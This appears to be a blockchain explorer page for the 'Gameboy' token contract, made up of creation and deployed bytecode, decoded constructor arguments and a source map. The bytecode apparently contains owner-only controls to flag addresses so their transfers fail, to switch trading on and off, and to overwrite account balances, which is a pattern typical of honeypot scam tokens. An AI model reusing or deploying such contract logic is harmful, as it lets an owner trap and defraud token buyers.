d95821e693da8bc57e070116f1dcc5d417bd688cac64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000012a05f2000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000747616d65626f7900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000747414d45424f5900000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101d3578063a9059cbb146101e6578063d8feb48e146101f9578063dd62ed3e1461020c576100f5565b806370a082311461019d57806391b69fa0146101b057806395d89b41146101b85780639dc29fac146101c0576100f5565b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063338d466914610175578063395093511461018a576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b61010261021f565b60405161010f9190610b3d565b60405180910390f35b61012b610126366004610a85565b6102b1565b60405161010f9190610b32565b6101406102d3565b60405161010f9190610e29565b61012b61015b366004610a4a565b6102d9565b610168610307565b60405161010f9190610e32565b610188610183366004610aae565b61030c565b005b61012b610198366004610a85565b6103cf565b6101406101ab3660046109f7565b61041b565b61018861043a565b610102610498565b6101886101ce366004610a85565b6104a7565b61012b6101e1366004610a85565b6104ea565b61012b6101f4366004610a85565b61054b565b61012b6102073660046109f7565b610563565b61014061021a366004610a18565b610581565b60606005805461022e90610e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461025a90610e6f565b80156102a75780601f1061027c576101008083540402835291602001916102a7565b820191906000526020600020905b81548152906001019060200180831161028a57829003601f168201915b5050505050905090565b6000806102bc6105ac565b90506102c98185856105b0565b5060019392505050565b60035490565b6000806102e46105ac565b90506102f1858285610664565b6102fc8585856106a8565b506001949350505050565b600990565b6103146105ac565b6000546001600160a01b0390811691161461034a5760405162461bcd60e51b815260040161034190610cd4565b60405180910390fd5b60005b828110156103c957816009600086868581811061037a57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061038f91906109f7565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806103c181610eaa565b91505061034d565b50505050565b6000806103da6105ac565b6001600160a01b038082166000908152600260209081526040808320938916835292905220549091506102c99082908690610416908790610e40565b6105b0565b6001600160a01b0381166000908152600160205260409020545b919050565b6104426105ac565b6000546001600160a01b0390811691161461046f5760405162461bcd60e51b815260040161034190610cd4565b60075460ff1661048b576007805460ff19166001179055610496565b6007805460ff191690555b565b60606006805461022e90610e6f565b6104af6105ac565b6000546001600160a01b039081169116146104dc5760405162461bcd60e51b815260040161034190610cd4565b6104e682826108f3565b5050565b6000806104f56105ac565b6001600160a01b038082166000908152600260209081526040808320938916835292905220549091508381101561053e5760405162461bcd60e51b815260040161034190610de4565b6102fc82868684036105b0565b6000806105566105ac565b90506102c98185856106a8565b6001600160a01b031660009081526009602052604090205460ff1690565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105d65760405162461bcd60e51b815260040161034190610da0565b6001600160a01b0382166105fc5760405162461bcd60e51b815260040161034190610c15565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610657908590610e29565b60405180910390a3505050565b60006106708484610581565b905060001981146103c9578181101561069b5760405162461bcd60e51b815260040161034190610c57565b6103c984848484036105b0565b6001600160a01b0383166106ce5760405162461bcd60e51b815260040161034190610d4a565b6001600160a01b0382166106f45760405162461bcd60e51b815260040161034190610b90565b60075460ff16151560011480610722575061070d6109d1565b6001600160a01b0316836001600160a01b0316145b8061074557506107306109d1565b6001600160a01b0316826001600160a01b0316145b156108c0576001600160a01b038316600090815260016020526040902054156108bb576001600160a01b03831660009081526009602052604090205460ff16156107ac5780156107a75760405162461bcd60e51b815260040161034190610d8f565b6108bb565b6001600160a01b03821660009081526009602052604090205460ff166107ec57600081116107ec5760405162461bcd60e51b815260040161034190610d8f565b6107f78383836108ee565b6001600160a01b038316600090815260016020526040902054818110156108305760405162461bcd60e51b815260040161034190610c8e565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610867908490610e40565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108b19190610e29565b60405180910390a3505b6108e7565b60075460ff1615156001146108e75760405162461bcd60e51b815260040161034190610d8f565b6108ee8383835b505050565b6001600160a01b0382166109195760405162461bcd60e51b815260040161034190610d09565b6001600160a01b038216600090815260016020526040902054818110156109525760405162461bcd60e51b815260040161034190610bd3565b816008546109609190610e58565b6001600160a01b0384166000908152600160205260408120919091556003805484929061098e908490610e58565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610657908690610e29565b6000546001600160a01b031690565b80356001600160a01b038116811461043557600080fd5b600060208284031215610a08578081fd5b610a11826109e0565b9392505050565b60008060408385031215610a2a578081fd5b610a33836109e0565b9150610a41602084016109e0565b90509250929050565b600080600060608486031215610a5e578081fd5b610a67846109e0565b9250610a75602085016109e0565b9150604084013590509250925092565b60008060408385031215610a97578182fd5b610aa0836109e0565b946020939093013593505050565b600080600060408486031215610ac2578283fd5b833567ffffffffffffffff80821115610ad9578485fd5b818601915086601f830112610aec578485fd5b813581811115610afa578586fd5b8760208083028501011115610b0d578586fd5b602092830195509350508401358015158114610b27578182fd5b809150509250925092565b901515815260200190565b6000602080835283518082850152825b81811015610b6957858101830151858201604001528201610b4d565b81811115610b7a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b602080825260009082015260400190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610e5357610e53610ec5565b500190565b600082821015610e6a57610e6a610ec5565b500390565b600281046001821680610e8357607f821691505b60208210811415610ea457634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610ebe57610ebe610ec5565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220cfa23889f6796315bf0cf7d95821e693da8bc57e070116f1dcc5d417bd688cac64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000012a05f2000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000747616d65626f7900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000747414d45424f5900000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Gameboy
Arg [1] : symbol (string): GAMEBOY
Arg [2] : totalSupply (uint256): 5000000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000000000000000000000000000000000012a05f200
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [5] : 47616d65626f7900000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [7] : 47414d45424f5900000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

948:347:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2892:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5242:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;4011:108::-;;;:::i;:::-;;;;;;;:::i;6023:295::-;;;;;;:::i;:::-;;:::i;3854:92::-;;;:::i;:::-;;;;;;;:::i;14040:239::-;;;;;;:::i;:::-;;:::i;:::-;;6727:240;;;;;;:::i;:::-;;:::i;4182:127::-;;;;;;:::i;:::-;;:::i;2483:160::-;;;:::i;3111:104::-;;;:::i;1185:107:2:-;;;;;;:::i;:::-;;:::i;7470:438:1:-;;;;;;:::i;:::-;;:::i;4515:193::-;;;;;;:::i;:::-;;:::i;2651:171::-;;;;;;:::i;:::-;;:::i;4771:151::-;;;;;;:::i;:::-;;:::i;2892:100::-;2946:13;2979:5;2972:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2892:100;:::o;5242:201::-;5325:4;5342:13;5358:12;:10;:12::i;:::-;5342:28;;5381:32;5390:5;5397:7;5406:6;5381:8;:32::i;:::-;-1:-1:-1;5431:4:1;;5242:201;-1:-1:-1;;;5242:201:1:o;4011:108::-;4099:12;;4011:108;:::o;6023:295::-;6154:4;6171:15;6189:12;:10;:12::i;:::-;6171:30;;6212:38;6228:4;6234:7;6243:6;6212:15;:38::i;:::-;6261:27;6271:4;6277:2;6281:6;6261:9;:27::i;:::-;-1:-1:-1;6306:4:1;;6023:295;-1:-1:-1;;;;6023:295:1:o;3854:92::-;3937:1;3854:92;:::o;14040:239::-;784:12:0;:10;:12::i;:::-;774:6;;-1:-1:-1;;;;;774:6:0;;;:22;;;766:67;;;;-1:-1:-1;;;766:67:0;;;;;;;:::i;:::-;;;;;;;;;14126:9:1::1;14121:151;14141:15:::0;;::::1;14121:151;;;14257:3;14178:67;:76;14246:4;;14251:1;14246:7;;;;;-1:-1:-1::0;;;14246:7:1::1;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14178:76:1::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;14178:76:1;:82;;-1:-1:-1;;14178:82:1::1;::::0;::::1;;::::0;;;::::1;::::0;;14158:3;::::1;::::0;::::1;:::i;:::-;;;;14121:151;;;;14040:239:::0;;;:::o;6727:240::-;6815:4;6832:13;6848:12;:10;:12::i;:::-;-1:-1:-1;;;;;6896:18:1;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;6832:28;;-1:-1:-1;6871:66:1;;6832:28;;6887:7;;6896:40;;6926:10;;6896:40;:::i;:::-;6871:8;:66::i;4182:127::-;-1:-1:-1;;;;;4283:18:1;;4256:7;4283:18;;;:9;:18;;;;;;4182:127;;;;:::o;2483:160::-;784:12:0;:10;:12::i;:::-;774:6;;-1:-1:-1;;;;;774:6:0;;;:22;;;766:67;;;;-1:-1:-1;;;766:67:0;;;;;;;:::i;:::-;2541:13:1::1;::::0;::::1;;2537:99;;2575:13;:20:::0;;-1:-1:-1;;2575:20:1::1;2591:4;2575:20;::::0;;2537:99:::1;;;2613:13;:21:::0;;-1:-1:-1;;2613:21:1::1;::::0;;2537:99:::1;2483:160::o:0;3111:104::-;3167:13;3200:7;3193:14;;;;;:::i;1185:107:2:-;784:12:0;:10;:12::i;:::-;774:6;;-1:-1:-1;;;;;774:6:0;;;:22;;;766:67;;;;-1:-1:-1;;;766:67:0;;;;;;;:::i;:::-;1262:22:2::1;1268:7;1277:6;1262:5;:22::i;:::-;1185:107:::0;;:::o;7470:438:1:-;7563:4;7580:13;7596:12;:10;:12::i;:::-;-1:-1:-1;;;;;7646:18:1;;;7619:24;7646:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;7580:28;;-1:-1:-1;7692:35:1;;;;7684:85;;;;-1:-1:-1;;;7684:85:1;;;;;;;:::i;:::-;7805:60;7814:5;7821:7;7849:15;7830:16;:34;7805:8;:60::i;4515:193::-;4594:4;4611:13;4627:12;:10;:12::i;:::-;4611:28;;4650;4660:5;4667:2;4671:6;4650:9;:28::i;2651:171::-;-1:-1:-1;;;;;2738:76:1;2714:4;2738:76;;;:67;:76;;;;;;;;;2651:171::o;4771:151::-;-1:-1:-1;;;;;4887:18:1;;;4860:7;4887:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4771:151::o;861:98:0:-;941:10;861:98;:::o;11459:380:1:-;-1:-1:-1;;;;;11595:19:1;;11587:68;;;;-1:-1:-1;;;11587:68:1;;;;;;;:::i;:::-;-1:-1:-1;;;;;11674:21:1;;11666:68;;;;-1:-1:-1;;;11666:68:1;;;;;;;:::i;:::-;-1:-1:-1;;;;;11747:18:1;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;11799:32;;;;;11777:6;;11799:32;:::i;:::-;;;;;;;;11459:380;;;:::o;12126:453::-;12261:24;12288:25;12298:5;12305:7;12288:9;:25::i;:::-;12261:52;;-1:-1:-1;;12328:16:1;:37;12324:248;;12410:6;12390:16;:26;;12382:68;;;;-1:-1:-1;;;12382:68:1;;;;;;;:::i;:::-;12494:51;12503:5;12510:7;12538:6;12519:16;:25;12494:8;:51::i;8387:1181::-;-1:-1:-1;;;;;8518:18:1;;8510:68;;;;-1:-1:-1;;;8510:68:1;;;;;;;:::i;:::-;-1:-1:-1;;;;;8597:16:1;;8589:64;;;;-1:-1:-1;;;8589:64:1;;;;;;;:::i;:::-;8668:13;;;;:21;;:13;:21;;:40;;;8701:7;:5;:7::i;:::-;-1:-1:-1;;;;;8693:15:1;:4;-1:-1:-1;;;;;8693:15:1;;8668:40;:57;;;;8718:7;:5;:7::i;:::-;-1:-1:-1;;;;;8712:13:1;:2;-1:-1:-1;;;;;8712:13:1;;8668:57;8664:849;;;-1:-1:-1;;;;;8745:15:1;;8763:1;8745:15;;;:9;:15;;;;;;:19;8742:716;;-1:-1:-1;;;;;8784:73:1;;;;;;:67;:73;;;;;;;;8780:667;;;8869:11;;8860:25;;;;-1:-1:-1;;;8860:25:1;;;;;;;:::i;:::-;8780:667;;;-1:-1:-1;;;;;8928:71:1;;;;;;:67;:71;;;;;;;;8924:98;;9016:1;9009:6;:8;9001:21;;;;-1:-1:-1;;;9001:21:1;;;;;;;:::i;:::-;9041:38;9062:4;9068:2;9072:6;9041:20;:38::i;:::-;-1:-1:-1;;;;;9122:15:1;;9100:19;9122:15;;;:9;:15;;;;;;9164:21;;;;9156:72;;;;-1:-1:-1;;;9156:72:1;;;;;;;:::i;:::-;-1:-1:-1;;;;;9280:15:1;;;;;;;:9;:15;;;;;;9298:20;;;9280:38;;9356:13;;;;;;;;:23;;9312:6;;9280:15;9356:23;;9312:6;;9356:23;:::i;:::-;;;;;;;;9420:2;-1:-1:-1;;;;;9405:26:1;9414:4;-1:-1:-1;;;;;9405:26:1;;9424:6;9405:26;;;;;;:::i;:::-;;;;;;;;8780:667;;8664:849;;;9485:13;;;;:21;;:13;:21;9476:35;;;;-1:-1:-1;;;9476:35:1;;;;;;;:::i;:::-;9523:37;9543:4;9549:2;9553:6;9523:37;8387:1181;;;:::o;10587:434::-;-1:-1:-1;;;;;10671:21:1;;10663:67;;;;-1:-1:-1;;;10663:67:1;;;;;;;:::i;:::-;-1:-1:-1;;;;;10772:18:1;;10747:22;10772:18;;;:9;:18;;;;;;10809:24;;;;10801:71;;;;-1:-1:-1;;;10801:71:1;;;;;;;:::i;:::-;10921:6;10910:8;;:17;;;;:::i;:::-;-1:-1:-1;;;;;10889:18:1;;;;;;:9;:18;;;;;:38;;;;10938:12;:22;;10954:6;;10889:18;10938:22;;10954:6;;10938:22;:::i;:::-;;;;-1:-1:-1;;10976:37:1;;11002:1;;-1:-1:-1;;;;;10976:37:1;;;;;;;11006:6;;10976:37;:::i;1076:81:0:-;1116:7;1143:6;-1:-1:-1;;;;;1143:6:0;1076:81;:::o;14:175:6:-;84:20;;-1:-1:-1;;;;;133:31:6;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;:::-;345:41;264:128;-1:-1:-1;;;264:128:6:o;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:6:o;1294:845::-;;;;1455:2;1443:9;1434:7;1430:23;1426:32;1423:2;;;1476:6;1468;1461:22;1423:2;1521:9;1508:23;1550:18;1591:2;1583:6;1580:14;1577:2;;;1612:6;1604;1597:22;1577:2;1655:6;1644:9;1640:22;1630:32;;1700:7;1693:4;1689:2;1685:13;1681:27;1671:2;;1727:6;1719;1712:22;1671:2;1772;1759:16;1798:2;1790:6;1787:14;1784:2;;;1819:6;1811;1804:22;1784:2;1882:7;1875:4;1867;1859:6;1855:17;1851:2;1847:26;1843:37;1840:50;1837:2;;;1908:6;1900;1893:22;1837:2;1944:4;1936:13;;;;-1:-1:-1;1968:6:6;-1:-1:-1;;2009:20:6;;1996:34;2066:13;;2059:21;2049:32;;2039:2;;2100:6;2092;2085:22;2039:2;2128:5;2118:15;;;1413:726;;;;;:::o;2144:187::-;2309:14;;2302:22;2284:41;;2272:2;2257:18;;2239:92::o;2336:603::-;;2477:2;2506;2495:9;2488:21;2538:6;2532:13;2581:6;2576:2;2565:9;2561:18;2554:34;2606:4;2619:140;2633:6;2630:1;2627:13;2619:140;;;2728:14;;;2724:23;;2718:30;2694:17;;;2713:2;2690:26;2683:66;2648:10;;2619:140;;;2777:6;2774:1;2771:13;2768:2;;;2847:4;2842:2;2833:6;2822:9;2818:22;2814:31;2807:45;2768:2;-1:-1:-1;2923:2:6;2902:15;-1:-1:-1;;2898:29:6;2883:45;;;;2930:2;2879:54;;2457:482;-1:-1:-1;;;2457:482:6:o;2944:399::-;3146:2;3128:21;;;3185:2;3165:18;;;3158:30;3224:34;3219:2;3204:18;;3197:62;-1:-1:-1;;;3290:2:6;3275:18;;3268:33;3333:3;3318:19;;3118:225::o;3348:398::-;3550:2;3532:21;;;3589:2;3569:18;;;3562:30;3628:34;3623:2;3608:18;;3601:62;-1:-1:-1;;;3694:2:6;3679:18;;3672:32;3736:3;3721:19;;3522:224::o;3751:398::-;3953:2;3935:21;;;3992:2;3972:18;;;3965:30;4031:34;4026:2;4011:18;;4004:62;-1:-1:-1;;;4097:2:6;4082:18;;4075:32;4139:3;4124:19;;3925:224::o;4154:353::-;4356:2;4338:21;;;4395:2;4375:18;;;4368:30;4434:31;4429:2;4414:18;;4407:59;4498:2;4483:18;;4328:179::o;4512:402::-;4714:2;4696:21;;;4753:2;4733:18;;;4726:30;4792:34;4787:2;4772:18;;4765:62;-1:-1:-1;;;4858:2:6;4843:18;;4836:36;4904:3;4889:19;;4686:228::o;4919:356::-;5121:2;5103:21;;;5140:18;;;5133:30;5199:34;5194:2;5179:18;;5172:62;5266:2;5251:18;;5093:182::o;5280:397::-;5482:2;5464:21;;;5521:2;5501:18;;;5494:30;5560:34;5555:2;5540:18;;5533:62;-1:-1:-1;;;5626:2:6;5611:18;;5604:31;5667:3;5652:19;;5454:223::o;5682:401::-;5884:2;5866:21;;;5923:2;5903:18;;;5896:30;5962:34;5957:2;5942:18;;5935:62;-1:-1:-1;;;6028:2:6;6013:18;;6006:35;6073:3;6058:19;;5856:227::o;6088:287::-;6290:2;6272:21;;;6088:287;6309:18;;;6302:32;6366:2;6351:18;;6262:113::o;6380:400::-;6582:2;6564:21;;;6621:2;6601:18;;;6594:30;6660:34;6655:2;6640:18;;6633:62;-1:-1:-1;;;6726:2:6;6711:18;;6704:34;6770:3;6755:19;;6554:226::o;6785:401::-;6987:2;6969:21;;;7026:2;7006:18;;;6999:30;7065:34;7060:2;7045:18;;7038:62;-1:-1:-1;;;7131:2:6;7116:18;;7109:35;7176:3;7161:19;;6959:227::o;7191:177::-;7337:25;;;7325:2;7310:18;;7292:76::o;7373:184::-;7545:4;7533:17;;;;7515:36;;7503:2;7488:18;;7470:87::o;7562:128::-;;7633:1;7629:6;7626:1;7623:13;7620:2;;;7639:18;;:::i;:::-;-1:-1:-1;7675:9:6;;7610:80::o;7695:125::-;;7763:1;7760;7757:8;7754:2;;;7768:18;;:::i;:::-;-1:-1:-1;7805:9:6;;7744:76::o;7825:380::-;7910:1;7900:12;;7957:1;7947:12;;;7968:2;;8022:4;8014:6;8010:17;8000:27;;7968:2;8075;8067:6;8064:14;8044:18;8041:38;8038:2;;;8121:10;8116:3;8112:20;8109:1;8102:31;8156:4;8153:1;8146:15;8184:4;8181:1;8174:15;8038:2;;7880:325;;;:::o;8210:135::-;;-1:-1:-1;;8270:17:6;;8267:2;;;8290:18;;:::i;:::-;-1:-1:-1;8337:1:6;8326:13;;8257:88::o;8350:127::-;8411:10;8406:3;8402:20;8399:1;8392:31;8442:4;8439:1;8432:15;8466:4;8463:1;8456:15

Swarm Source

ipfs://cfa23889f6796315bf0cf7d95821e693da8bc57e070116f1dcc5d417bd688cac
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.